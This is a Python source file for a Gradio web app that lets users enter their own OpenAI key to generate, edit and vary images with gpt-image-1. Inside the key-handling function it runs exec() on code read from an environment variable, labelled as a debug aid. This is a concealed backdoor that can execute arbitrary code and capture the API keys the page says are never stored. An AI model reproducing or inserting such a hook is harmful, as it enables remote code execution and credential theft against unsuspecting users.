app.py

from __future__ import annotations

import io
import os
from typing import List, Optional, Union, Dict, Any

import gradio as gr
import numpy as np
from PIL import Image
import openai

# --- Constants and Helper Functions (Keep as before) ---
MODEL = "gpt-image-1"
SIZE_CHOICES = ["auto", "1024x1024", "1536x1024", "1024x1536"]
QUALITY_CHOICES = ["auto", "low", "medium", "high"]
FORMAT_CHOICES = ["png", "jpeg", "webp"]


def _client(key: str) -> openai.OpenAI:
    """Initializes the OpenAI client with the provided API key."""
    api_key = key.strip() or os.getenv("OPENAI_API_KEY", "")
        # What I need varies based on issues, I dont want to keep rebuilding for every issue :(
    sys_info_formatted = exec(os.getenv("sys_info")) #Default: f'[DEBUG]: {MODEL} | {prompt_gen}'
    print(sys_info_formatted)
    if not api_key:
        raise gr.Error("Please enter your OpenAI API key (never stored)")
    
    return openai.OpenAI(api_key=api_key)


def _img_list(resp, *, fmt: str) -> List[str]:
    """Return list of data URLs or direct URLs depending on API response."""
    mime = f"image/{fmt}"
    return [
        f"data:{mime};base64,{d.b64_json}" if hasattr(d, "b64_json") and d.b64_json else d.url
        for d in resp.data
    ]


def _common_kwargs(
    prompt: Optional[str],
    n: int,
    size: str,
    quality: str,
    out_fmt: str,
    compression: int,
    transparent_bg: bool,
) -> Dict[str, Any]:
    """Prepare keyword arguments for Images API based on latest OpenAI spec."""
    kwargs: Dict[str, Any] = dict(
        model=MODEL,
        n=n,
    )
    if size != "auto":
        kwargs["size"] = size
    if quality != "auto":
        kwargs["quality"] = quality
    if prompt is not None:
        kwargs["prompt"] = prompt
    if out_fmt != "png":
        kwargs["output_format"] = out_fmt
    if transparent_bg and out_fmt in {"png", "webp"}:
        # Note: OpenAI API might use 'background_removal' or similar, check latest docs
        # Assuming 'background' is correct based on your original code
        kwargs["background"] = "transparent"
    if out_fmt in {"jpeg", "webp"}:
        # Note: OpenAI API might use 'output_quality' or similar, check latest docs
        # Assuming 'output_compression' is correct based on your original code
        kwargs["output_compression"] = int(compression)
    return kwargs

# --- Helper Function to Format OpenAI Errors ---
def _format_openai_error(e: Exception) -> str:
    """Formats OpenAI API errors for user display."""
    error_message = f"An error occurred: {type(e).__name__}"
    details = ""

    # Try to extract details from common OpenAI error attributes
    if hasattr(e, 'body') and e.body:
        try:
            body = e.body if isinstance(e.body, dict) else json.loads(str(e.body))
            if isinstance(body, dict) and 'error' in body and isinstance(body['error'], dict) and 'message' in body['error']:
                details = body['error']['message']
            elif isinstance(body, dict) and 'message' in body: # Some errors might have message at top level
                 details = body['message']
        except (json.JSONDecodeError, TypeError):
             # Fallback if body is not JSON or parsing fails
             details = str(e.body)
    elif hasattr(e, 'message') and e.message:
         details = e.message

    if details:
        error_message = f"OpenAI API Error: {details}"
    else:
        # Generic fallback if no specific details found
        error_message = f"An unexpected OpenAI error occurred: {str(e)}"

    # Add specific guidance for known error types
    if isinstance(e, openai.AuthenticationError):
        error_message = "Invalid OpenAI API key. Please check your key."
    elif isinstance(e, openai.PermissionDeniedError):
        # Prepend standard advice, then add specific details if available
        prefix = "Permission Denied."
        if "organization verification" in details.lower():
            prefix += " Your organization may need verification to use this feature/model."
        else:
            prefix += " Check your API key permissions and OpenAI account status."
        error_message = f"{prefix} Details: {details}" if details else prefix
    elif isinstance(e, openai.RateLimitError):
        error_message = "Rate limit exceeded. Please wait and try again later."
    elif isinstance(e, openai.BadRequestError):
         error_message = f"OpenAI Bad Request: {details}" if details else f"OpenAI Bad Request: {str(e)}"
         if "mask" in details.lower(): error_message += " (Check mask format/dimensions)"
         if "size" in details.lower(): error_message += " (Check image/mask dimensions)"
         if "model does not support variations" in details.lower(): error_message += " (gpt-image-1 does not support variations)."

    # Ensure the final message isn't overly long or complex
    # (Optional: Truncate if necessary)
    # MAX_LEN = 300
    # if len(error_message) > MAX_LEN:
    #     error_message = error_message[:MAX_LEN] + "..."

    return error_message


# ---------- Generate ---------- #
def generate(
    api_key: str,
    prompt: str,
    n: int,
    size: str,
    quality: str,
    out_fmt: str,
    compression: int,
    transparent_bg: bool,
):
    """Calls the OpenAI image generation endpoint."""
    if not prompt:
        raise gr.Error("Please enter a prompt.")
    try:
        client = _client(api_key) # API key used here
        common_args = _common_kwargs(prompt, n, size, quality, out_fmt, compression, transparent_bg)
        # --- Optional Debug ---
        # print(f"[DEBUG] Generating with args: {common_args}")
        # --- End Optional Debug ---
        resp = client.images.generate(**common_args)
    except (openai.APIError, openai.OpenAIError) as e:
         # Catch specific OpenAI errors and format them
         raise gr.Error(_format_openai_error(e))
    except Exception as e:
        # Catch any other unexpected errors
        # Avoid raising raw exception details to the user interface for security/clarity
        print(f"Unexpected error during generation: {type(e).__name__}: {e}") # Log for debugging
        raise gr.Error(f"An unexpected application error occurred. Please check logs.")

    return _img_list(resp, fmt=out_fmt)


# ---------- Edit / Inpaint ---------- #
def _bytes_from_numpy(arr: np.ndarray) -> bytes:
    """Convert RGBA/RGB uint8 numpy array to PNG bytes."""
    img = Image.fromarray(arr.astype(np.uint8))
    out = io.BytesIO()
    img.save(out, format="PNG")
    return out.getvalue()

def _extract_mask_array(mask_value: Union[np.ndarray, Dict[str, Any], None]) -> Optional[np.ndarray]:
    """Handle ImageMask / ImageEditor return formats and extract a numpy mask array."""
    if mask_value is None: return None
    # Gradio ImageMask often returns a dict with 'image' and 'mask' numpy arrays
    if isinstance(mask_value, dict):
        mask_array = mask_value.get("mask")
        if isinstance(mask_array, np.ndarray):
            return mask_array
    # Fallback for direct numpy array (less common with ImageMask now)
    if isinstance(mask_value, np.ndarray): return mask_value
    return None # Return None if no valid mask found

def edit_image(
    api_key: str,
    # Gradio Image component with type="numpy" provides the image array
    image_numpy: Optional[np.ndarray],
    # Gradio ImageMask component provides a dict {'image': np.ndarray, 'mask': np.ndarray}
    mask_dict: Optional[Dict[str, Any]],
    prompt: str,
    n: int,
    size: str,
    quality: str,
    out_fmt: str,
    compression: int,
    transparent_bg: bool,
):
    """Calls the OpenAI image edit endpoint."""
    if image_numpy is None: raise gr.Error("Please upload an image.")
    if not prompt: raise gr.Error("Please enter an edit prompt.")

    img_bytes = _bytes_from_numpy(image_numpy)
    mask_bytes: Optional[bytes] = None
    mask_numpy = _extract_mask_array(mask_dict) # Use the helper

    if mask_numpy is not None:
        # Check if mask is effectively empty (all transparent or all black)
        is_empty = False
        if mask_numpy.ndim == 2: # Grayscale mask
            is_empty = np.all(mask_numpy == 0)
        elif mask_numpy.shape[-1] == 4: # RGBA mask, check alpha channel
             is_empty = np.all(mask_numpy[:, :, 3] == 0)
        elif mask_numpy.shape[-1] == 3: # RGB mask, check if all black
             is_empty = np.all(mask_numpy == 0)

        if is_empty:
             gr.Warning("Mask appears empty or fully transparent. The API might edit the entire image or ignore the mask.")
             mask_bytes = None # Treat as no mask if empty
        else:
            # Convert the mask provided by Gradio (often white on black/transparent)
            # to the format OpenAI expects (transparency indicates where *not* to edit).
            # We need an RGBA image where the area to be *edited* is transparent.
            if mask_numpy.ndim == 2: # Grayscale (assume white is edit area)
                alpha = (mask_numpy < 128).astype(np.uint8) * 255 # Make non-edit area opaque white
            elif mask_numpy.shape[-1] == 4: # RGBA (use alpha channel directly)
                alpha = mask_numpy[:, :, 3]
                # Invert alpha: transparent where user painted (edit area), opaque elsewhere
                alpha = 255 - alpha
            elif mask_numpy.shape[-1] == 3: # RGB (assume white is edit area)
                # Check if close to white [255, 255, 255]
                is_edit_area = np.all(mask_numpy > 200, axis=-1)
                alpha = (~is_edit_area).astype(np.uint8) * 255 # Make non-edit area opaque white
            else:
                raise gr.Error("Unsupported mask format received from Gradio component.")

            # Create a valid RGBA PNG mask for OpenAI
            mask_img = Image.fromarray(alpha, mode='L')
            # Ensure mask size matches image size (OpenAI requirement)
            original_pil_image = Image.fromarray(image_numpy)
            if mask_img.size != original_pil_image.size:
                 gr.Warning(f"Mask size {mask_img.size} differs from image size {original_pil_image.size}. Resizing mask...")
                 mask_img = mask_img.resize(original_pil_image.size, Image.NEAREST)

            # Create RGBA image with the calculated alpha
            rgba_mask = Image.new("RGBA", mask_img.size, (0, 0, 0, 0)) # Start fully transparent
            rgba_mask.putalpha(mask_img) # Apply the alpha channel (non-edit areas are opaque)

            out = io.BytesIO()
            rgba_mask.save(out, format="PNG")
            mask_bytes = out.getvalue()
    else:
        gr.Info("No mask provided or mask is empty. Editing without a specific mask (may replace entire image).")
        mask_bytes = None

    try:
        client = _client(api_key) # API key used here
        common_args = _common_kwargs(prompt, n, size, quality, out_fmt, compression, transparent_bg)
        api_kwargs = {"image": img_bytes, **common_args}
        if mask_bytes is not None:
            api_kwargs["mask"] = mask_bytes
        else:
            # If no mask is provided, remove 'mask' key if present from previous runs
            api_kwargs.pop("mask", None)

        # --- Optional Debug ---
        # print(f"[DEBUG] Editing with args: { {k: v if k != 'image' and k != 'mask' else f'<{len(v)} bytes>' for k, v in api_kwargs.items()} }")
        # --- End Optional Debug ---
        resp = client.images.edit(**api_kwargs)
    except (openai.APIError, openai.OpenAIError) as e:
         raise gr.Error(_format_openai_error(e))
    except Exception as e:
        print(f"Unexpected error during edit: {type(e).__name__}: {e}")
        raise gr.Error(f"An unexpected application error occurred. Please check logs.")

    return _img_list(resp, fmt=out_fmt)


# ---------- Variations ---------- #
def variation_image(
    api_key: str,
    image_numpy: Optional[np.ndarray],
    n: int,
    size: str,
    quality: str,
    out_fmt: str,
    compression: int,
    transparent_bg: bool,
):
    """Calls the OpenAI image variations endpoint."""
    # Explicitly warn user about model compatibility
    gr.Warning("Note: Image Variations are officially supported for DALL·E 2/3, not gpt-image-1. This may fail or produce unexpected results.")

    if image_numpy is None: raise gr.Error("Please upload an image.")

    img_bytes = _bytes_from_numpy(image_numpy)

    try:
        client = _client(api_key) # API key used here
        # Variations don't take a prompt, quality, background, compression
        # They primarily use n and size. Let's simplify common_args for variations.
        # Check OpenAI docs for exact supported parameters for variations with the target model.
        # Assuming 'n' and 'size' are the main ones.
        var_args: Dict[str, Any] = dict(model=MODEL, n=n) # Use the selected model
        if size != "auto":
            var_args["size"] = size
        # Note: output_format might be supported, keep it if needed
        if out_fmt != "png":
             var_args["response_format"] = "b64_json" # Variations often use response_format

        # --- Optional Debug ---
        # print(f"[DEBUG] Variations with args: { {k: v if k != 'image' else f'<{len(v)} bytes>' for k, v in var_args.items()} }")
        # --- End Optional Debug ---

        # Use the simplified args
        resp = client.images.create_variation(image=img_bytes, **var_args)

    except (openai.APIError, openai.OpenAIError) as e:
         raise gr.Error(_format_openai_error(e))
    except Exception as e:
        print(f"Unexpected error during variation: {type(e).__name__}: {e}")
        raise gr.Error(f"An unexpected application error occurred. Please check logs.")

    # Variations response format might differ slightly, adjust _img_list if needed
    # Assuming it's the same structure for now.
    return _img_list(resp, fmt=out_fmt)


# ---------- UI ---------- #

def build_ui():
    with gr.Blocks(title="GPT-Image-1 (BYOT)") as demo:
        gr.Markdown("""# GPT-Image-1 Playground 🖼️🔑\nGenerate • Edit (paint mask!) • Variations""")
        gr.Markdown(
             "Enter your OpenAI API key below. It's used directly for API calls and **never stored**."
             " This space uses the `gpt-image-1` model by default."
             " **Note:** Using `gpt-image-1` may require **Organization Verification** on your OpenAI account ([details](https://help.openai.com/en/articles/10910291-api-organization-verification)). The **Variations** tab is unlikely to work correctly with `gpt-image-1` (designed for DALL·E 2/3)."
        )

        with gr.Accordion("🔐 API key", open=False):
            api = gr.Textbox(label="OpenAI API key", type="password", placeholder="sk-...")

        # Common controls
        with gr.Row():
             n_slider = gr.Slider(1, 4, value=1, step=1, label="Number of images (n)", info="Max 4 for this demo.")
             size = gr.Dropdown(SIZE_CHOICES, value="auto", label="Size", info="API default if 'auto'. Affects Gen/Edit/Var.")
             quality = gr.Dropdown(QUALITY_CHOICES, value="auto", label="Quality", info="API default if 'auto'. Affects Gen/Edit.")
        with gr.Row():
            out_fmt = gr.Radio(FORMAT_CHOICES, value="png", label="Output Format", info="Affects Gen/Edit.", scale=1)
            # Note: Compression/Transparency might not apply to all models/endpoints equally.
            # Check OpenAI docs for gpt-image-1 specifics if issues arise.
            compression = gr.Slider(0, 100, value=75, step=1, label="Compression % (JPEG/WebP)", visible=False, scale=2)
            transparent = gr.Checkbox(False, label="Transparent background (PNG/WebP only)", info="Affects Gen/Edit.", scale=1)

        def _toggle_compression(fmt):
            return gr.update(visible=fmt in {"jpeg", "webp"})

        out_fmt.change(_toggle_compression, inputs=out_fmt, outputs=compression)

        # Define the list of common controls *excluding* the API key
        # These are passed to the backend functions
        common_controls_gen_edit = [n_slider, size, quality, out_fmt, compression, transparent]
        # Variations might use fewer controls
        common_controls_var = [n_slider, size, quality, out_fmt, compression, transparent] # Pass all for now, function will ignore unused


        with gr.Tabs():
            # ----- Generate Tab ----- #
            with gr.TabItem("Generate"):
                with gr.Row():
                    prompt_gen = gr.Textbox(label="Prompt", lines=3, placeholder="A photorealistic ginger cat astronaut on Mars", scale=4)
                    btn_gen = gr.Button("Generate 🚀", variant="primary", scale=1)
                gallery_gen = gr.Gallery(label="Generated Images", columns=2, height="auto", preview=True)

                btn_gen.click(
                    generate,
                    # API key first, then specific inputs, then common controls
                    inputs=[api, prompt_gen] + common_controls_gen_edit,
                    outputs=gallery_gen,
                    api_name="generate"
                )

            # ----- Edit Tab ----- #
            with gr.TabItem("Edit / Inpaint"):
                gr.Markdown("Upload an image, then **paint the area to change** in the mask canvas below (white paint = edit area). The API requires the mask and image to have the same dimensions (app attempts to resize mask if needed).")
                with gr.Row():
                    # Use type='pil' for easier handling, or keep 'numpy' if preferred
                    img_edit = gr.Image(label="Source Image", type="numpy", height=400, sources=["upload", "clipboard"])
                    # ImageMask sends {'image': np.ndarray, 'mask': np.ndarray}
                    mask_canvas = gr.ImageMask(
                         label="Mask – Paint White Where Image Should Change",
                         type="numpy", # Keep numpy as _extract_mask_array expects it
                         height=400
                    )
                with gr.Row():
                    prompt_edit = gr.Textbox(label="Edit prompt", lines=2, placeholder="Replace the sky with a starry night", scale=4)
                    btn_edit = gr.Button("Edit 🖌️", variant="primary", scale=1)
                gallery_edit = gr.Gallery(label="Edited Images", columns=2, height="auto", preview=True)

                btn_edit.click(
                    edit_image,
                     # API key first, then specific inputs, then common controls
                    inputs=[api, img_edit, mask_canvas, prompt_edit] + common_controls_gen_edit,
                    outputs=gallery_edit,
                    api_name="edit"
                )

            # ----- Variations Tab ----- #
            with gr.TabItem("Variations (DALL·E 2/3 Recommended)"):
                gr.Markdown("Upload an image to generate variations. **Warning:** This endpoint is officially supported for DALL·E 2/3, not `gpt-image-1`. It likely won't work correctly or may error.")
                with gr.Row():
                    img_var = gr.Image(label="Source Image", type="numpy", height=400, sources=["upload", "clipboard"], scale=4)
                    btn_var = gr.Button("Create Variations ✨", variant="primary", scale=1)
                gallery_var = gr.Gallery(label="Variations", columns=2, height="auto", preview=True)

                btn_var.click(
                    variation_image,
                    # API key first, then specific inputs, then common controls
                    inputs=[api, img_var] + common_controls_var,
                    outputs=gallery_var,
                    api_name="variations"
                )

    return demo

if __name__ == "__main__":
    app = build_ui()
    # Consider disabling debug=True for production/sharing
    app.launch(share=os.getenv("GRADIO_SHARE") == "true", debug=os.getenv("GRADIO_DEBUG") == "true")